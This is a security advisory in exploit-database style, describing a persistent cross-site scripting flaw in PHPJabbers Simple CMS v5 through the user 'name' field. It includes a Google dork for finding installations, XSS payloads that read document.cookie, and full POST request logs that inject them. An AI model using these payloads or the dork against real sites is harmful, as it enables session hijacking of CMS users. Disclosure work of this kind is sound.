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# Exploit Title: PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS)
# Google Dork: subtitle:Copyright © 2021 PHPJabbers.com
# Date: 2021-10-28
# Exploit Author: Vulnerability-Lab
# Vendor Homepage: https://www.phpjabbers.com/faq.php
# Software Link: https://www.phpjabbers.com/simple-cms/
# Version: v5
# Tested on: Linux

Document Title:
===============
PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2300


Release Date:
=============
2021-10-28


Vulnerability Laboratory ID (VL-ID):
====================================
2300


Common Vulnerability Scoring System:
====================================
5.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed
to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections
and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the
Developer License and customize the script to fit your specific needs.

(Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.


Affected Product(s):
====================
PHPJabbers
Product: PHPJabbers Simple CMS v5.0 - (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request.
Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users.
The script code execution is performed after the inject via post method in the user list (pjAdminUsers).

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Create (Add)
[+] Update

Vulnerable Parameter(s):
[+] pjActionCreate
[+] pjActionUpdate

Affected Module(s):
[+] pjAdminUsers


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payloads
"><img src=evil.source onload=alert(document.cookie)>
"><img src=evil.source onload=alert(document.domain)>


--- PoC Session Logs (POST) [Add & Update]
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
Host: phpjabbers-cms.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin:https://phpjabbers-cms.localhost:8080
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T
-
POST: HTTP/1.1 303
Server: Apache/2.2.15 (CentOS)
Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
--
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
Host: phpjabbers-cms.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Origin:https://phpjabbers-cms.localhost:8080
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T
-
POST: HTTP/1.1 303
Server: Apache/2.2.15 (CentOS)
Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
Keep-Alive: timeout=10, max=83
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source
Host: phpjabbers-cms.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
-
GET: HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Content-Length: 380
Keep-Alive: timeout=10, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)
<select data-name="status" style="display: none;" class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option>
<option value="F">Inactive</option></select></td><td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"
class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input type="checkbox" name="record[]" value="3"
class="pj-table-select-row"></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label">r"><img src="evil.source" onload="alert(document.cookie)"></img></span>
<input type="text" data-name="name" style="display: none;" class="pj-form-field pj-form-text
pj-selector-editable" value="r"><img src=evil.source onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label">test@ftp.world</span><input type="text" data-name="email" style="display: none;"
class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span class="pj-table-cell-label">06-09-2021</span></td>
<td><span class="pj-table-cell-label"><span class="label-status user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label pj-status pj-status-T">Active</span><select data-name="status" style="display: none;"
class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option value="F">Inactive</option></select></td>
<td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=3" class="pj-table-icon-edit"></a>
<a href="index.php?controller=pjAdminUsers&action=pjActionDeleteUser&id=3" class="pj-table-icon-delete"></a></td></tr></tbody></table>


Reference(s):
https://phpjabbers-cms.localhost:8080/
https://phpjabbers-cms.localhost:8080/1630949262_438/
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
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